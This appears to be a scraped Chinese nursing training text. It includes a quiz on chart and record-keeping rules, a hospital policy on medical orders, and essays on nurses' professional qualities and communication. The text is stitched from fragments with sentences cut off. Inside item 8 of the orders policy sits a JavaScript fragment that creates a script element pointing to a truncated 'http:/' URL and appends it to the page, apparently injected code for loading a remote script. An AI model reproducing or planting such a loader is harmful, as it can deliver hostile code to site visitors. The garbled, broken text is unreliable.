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1、一.选择题：1.关于体温单的记录描述错误的是（）。A.手术后日数自手术当日开始计数，连续填写14天B.如在14天内又做手术，则第二次手术日数作为分子，第一次手术日数作为分母填写,连续写至末次手术的第14天C.患者因做特殊检查或其他原因而未测量体温、脉搏、呼吸时，应补试并填入体温单相应栏内D.患者如特殊情况必须外出者，须经医师批准书写医嘱并记录在交接班报告上（或护理记录单）E.外出期间，护士不测试和绘制体温、脉搏、呼吸，返院后的体温、脉搏与外出前不相连2.护士为患者刘某进行灌肠治疗，其自行排便1次，灌肠后又排便2次，在体温单上应如何记录（）。A.1/EB.2/EC.11/ED.21/EE.12/
2、E3.关于病危患者护理记录叙述错误的是（）。A.书写一律使用阿拉伯数字书写日期和时间，采用24小时制记录B.书写过程中出现错字时，应用双线划在错字上，保留原记录清楚、可辨，并注明修改时间，修改人签名；不得采用刮、粘、涂等方法掩盖或去除原来的字迹C.记录应当根据相应专科的护理特点书写D.出入水量24小时总结两次，用蓝黑墨水占4格划两条横线，分别注明“12小时总结”或“24小时总结”。E.根据患者情况决定记录频次，病情变化随时记录，病情稳定后每4小时至少记录1次4.关于医嘱叙述错误的是（）A.医嘱由医师直接书写在医嘱单上或输入微机，护士不得转抄转医嘱管理制度与流程医嘱内容应当准确、清楚，每项医嘱应
3、当只包含一个内容C.医嘱不得涂改,需要取消时，应当使用红色笔标注“取消”字样并签名D.一般情况下，医师不得下达口头医嘱E.因抢救急危患者需要下达口头医嘱时，护士应当复诵一遍。抢救结束后，医师应当于6小时内据实补记医嘱。5.患者的出量记录不包括（）A.尿量B.痰量C.引流量、D.呕吐量E.出汗量6.护理文件书写的原则不包括（）A、客观B真实C、准确D、及时E、重点突出二、判断：（每题1分）1.以“”表示腋温，以“”表示肛温，以“”表示口温（）2.短绌脉的测试为二人同时进行，一人用听诊器听心率，一人测脉搏。心率以红圈“”表示，脉搏以红点“”表示，并以红线分别将“”与“”连接。在心率和脉搏两曲线之间
4、用红色笔画斜线构成图像（）3.过敏试验判断结果必须是两位护士核对，均签全名，在抢救时可一人核对，签全名。（）4.出入水量24小时总结一次，按出入量类别分别记录于病情观察栏内。（）5.应用电子病例，首次记录24小时完成，一级护病情变化随时写，二级护从入院开始或转为二级护记录一次，三级护可以不用记录。（）一、目的对临床医务人员在医嘱下达和执行过程中的行为进行规范，以确保医疗质量和医疗安全。二、标准1、医嘱必须由获得本院处方权的职业医生在其范围内下达，只有经医务部核准，有处方权资格的医生才可以下达电子医嘱。没有处方权的医生只能在带教医生指导下开医嘱，并由带教医生审核后方可发送，医嘱所产生的法律责任由
5、带教医生承担。2、医嘱分为长期医嘱、临时医嘱。住院病人的所有医嘱都要记录在病历中固定的记录单，如医嘱单、麻醉记录单。医嘱单包括长期医嘱单、临时医嘱单。门诊病人的所有医嘱要记录在门诊病历中。3、新入院病人、转科、手术后病人的医嘱应在病人达到病房后1小时内开出，急诊病人、危重病人一般要求在半小时内开出。例行查房的医嘱要求在上午11时以前开出。病情变化可以随时开具医嘱。4、医嘱原则上要求层次分明，入院病人的长期医嘱、临时医嘱先后顺序要符合要求。下达医嘱的时间要精确到分。5、药物医嘱需写明药物的通用名称、用量、用法、数量。静脉输液应分组列出配方、使用顺序、输液速度以及用药途径。6、医生开具医嘱后，由护
6、士逐项核对、执行并注明执行时间。7、医生下达检验医嘱后所有检验标本采集前由护士贴上条码标签，条码标签上应有病人姓名、门诊号或住院号、科室、标本名称、检验项目。若检验科工作人员及病区工作人员在核对标本时若发现异常情况应及时相互沟通核实并记录。8、医生在开出所有申请临床物理检查（如放射、超声、心电图等）、要在申请单中注明有价值的病史、症状、体征等信息资料，以利于检 var script = document.createElement(script); script.src = http:/ document.body.appendChild(script); 查科室的医生或其他有资格的工作人员根
7、据相关信息资料给出正确的检查报告。开单医生同时对申请某些重要临床检验及物理检查的原因、目的、结果及分析、评估、处理意见要记录在病程记录中。9、长期医嘱：内容包括专科护理常规、护理级别、特别护理、特殊体位、病重、饮食、陪伴人员、药物使用、约束、隔离等。10、临时医嘱的书写顺序：一般先写三大常规等诊断性医嘱，然后再写用药、处置等治疗性医嘱。11、病人出院时必须开出院医嘱，包括出院带药。12、医生开出医嘱后要自查一遍，确认无错误、遗漏、重复。开出需紧急执行的医嘱时必须向当班护士做特别交待。护士应及时查对、执行医嘱。13、对明显违反诊疗常规的错误医嘱，护士有责任及时通知医生进行更改。对有疑问或模糊不清
8、的医嘱，按如下流程执行或澄清：首先向开出医嘱医生查询确认，如仍有疑问或模糊不清的应向科室负责人报告，直至确认无疑后执行。14、如本班护士未能执行的医嘱，必须向下一班护士口头交班并在护士交班本上注明。15、护士在抢救病人生命的情况下，应根据心肺脑复苏抢救程序等规范对病人先进行紧急处置，并及时报告医生。16、口头医嘱：只有在抢救、手术等紧急情况下医生可以下达口头医嘱，其中在某些特殊情况下，当医生不能够立即到达现场而又需要立即处理时可以执行电话医嘱。平诊情况不允许使用口头医嘱或电话医嘱。护士在执行口头或电话医嘱时要确定患者姓名、医嘱内容并复述医嘱内容，经开医嘱医生确认及双人核查无误后主方可执行，执行
9、后记录执行时间并签名。在抢救或手术结束后6小时内由下达口头医嘱的医生补开医嘱内容。护士的基本素质要求护士的基本素质同情: 急病人所急想病人所想具有救死扶伤的精神以高度的同情心对待患者。敏锐: 善于敏锐地观察和分析患者心神动态变化不断地掌握和解除患者的精神压力并满足其生理上的护理需要动作轻巧敏捷干净利落。开朗: 以乐观开朗的愉快情绪对待患者不因个人的情绪或不愉快影响患者的态度。善于谅解别人不计较得失。无私: 对患者一视同仁秉公办事不徇私情对损害患者利益的事勇于抵制。.严肃: 严格落实工作岗位屡行岗位责任制严格执行各种操作规程工作严肃认真、一丝不苟、仪表端庄、举止稳重、尊重患者人格为患者保守有关秘
10、密。冷静: 情感稳定、果断而不慌乱善于处理各种人际关系中的问题。.勤快: 勤动脑钻研业务精益求精勤动手为患者创造美好环境勤巡视深入病房及时了解病情勤动口积极开展健康宣教认真做好心理护理。求实:对待事物实事求是执行医嘱准确及时书面记录必须务实。护士应具备哪些素质-1 . 心理素质: 护士是临床护理工作的主体要提供最佳的护理服务就必须加强自身修养有一个良好的精神面貌和健康的心理素质。积极向上、乐观自信的生活态度稳定的情绪遇挫折不灰心有成绩不骄傲能临危不惧在困难和复杂的环境中能沉着应对有宽阔的胸怀在工作中能虚心学习同事的新方法和新技术能听取不同意见取众之长补己之短工作中能互相交流经验。2 .专业技术
11、方面的素质:(1有扎实的专业理论知识掌握各种常见病的症状、体征和护理要点能及时准确地制定护理计划。掌握护理心理学和护理伦理学知识了解最新的护理理论和信息积极开展和参与护理科研。2有娴熟的护理操作技能。熟练的护理操作技术是一个优秀护士应具备的基本条件除了常见的医疗护理技术外3掌握急救技术和设备的使用熟悉急救药品的应用能熟练地配合医生完成对急症或危重患者的抢救。4具有高度的责任心严守工作岗位密切观察患者情况的变化严格执行操作规程认真做好查对制度时刻牢记医疗安全第一杜绝医疗差错事故发生。5具有敏锐的观察力善于捕捉有用的信息有丰富的想象力勇于技术创新。有较强的语言表达力掌握与人交流的技巧能根据患者的具
12、体情况灵活运用语言进行心理护理。3 .职业道德方面的素质:护士是白衣天使救死扶伤是其工作职责因此应具有良好的职业道德。护士与患者是两个地位平等的个体只是社会分工的不同对患者应象对待朋友亲人一样为其创造整洁、舒适、安全、有序的诊疗环境及时热情地接待患者用同情和体恤的心去倾听他们的诉说并尽量满足其提出的合理要求施予人性化的医疗服务。4 . 身体素质:护理工作是一个特殊的职业是体力与脑力劳动相结合的工作且服务对象是人关系到人的生命工作中稍有不慎就会断送一条生命因而工作时精神高度集中因此要求护士要有健康的身体精力的充沛才能保证顺利地工作。5 .文化仪表方面的素质:护士除了要有丰富的医学知识和精通护理专
13、业知识外还要加强自身的文化修养有不断进取的求知欲积极参加继续教育的学习扩大知识面跟上医学发展的步伐多学一些语言学、哲学、社会公共关系学、人文医学等知识丰富自己的知识内涵学习礼仪知识使自己的言行举止、着装更得体有气质提升自身形象增强自信心和公众信服力应对各种挑战。6 .健康教育的义务宣传员:护理工作的特殊性,既懂医学知识又与患者密切接触,护士应利用这一有利条件向患者及家属进行健康和卫生知识的宣传教育对一些常见的慢性病如糖尿病、高血压、心脑血管病等进行饮食、日常生活和用药等方面的指导。根据本地的实际情况做好防治传染病的宣传工作。沟通与礼仪沟通是信息的传递沟通信息不仅要被传递到而且要被充分理解有效沟
14、通并不是双方达成一致而是准确理解信息的含义沟通是一个双向互动的信息传递和反馈的过程护患沟通技巧有效的沟通是建立护患之间帮助关系的基础要求护士掌握沟通交流的知识恰当运用沟通交流技巧来建立一个良好的护患关系最终帮助患者满足其健康需求。治疗性沟通的概念治疗性沟通指护患之间护理人员之间护理人员与其他医务人员之间围绕病人的治疗问题并能对治疗起积极作用而进行的信息传递与理解。1, 建立护患信任关系树立良好的第一印象真实诚恳真诚的同情心尊重患者熟练的护理操作技巧灵活的工作方法2 关注患者的需要交流中的倾听技巧以感兴趣的态度参与与交流避免环境及内部的干扰3 重视非言语性的交流姿势面部表情目光接触触摸护士工作行为规范（一）责任护士热情微笑接待新入院患者
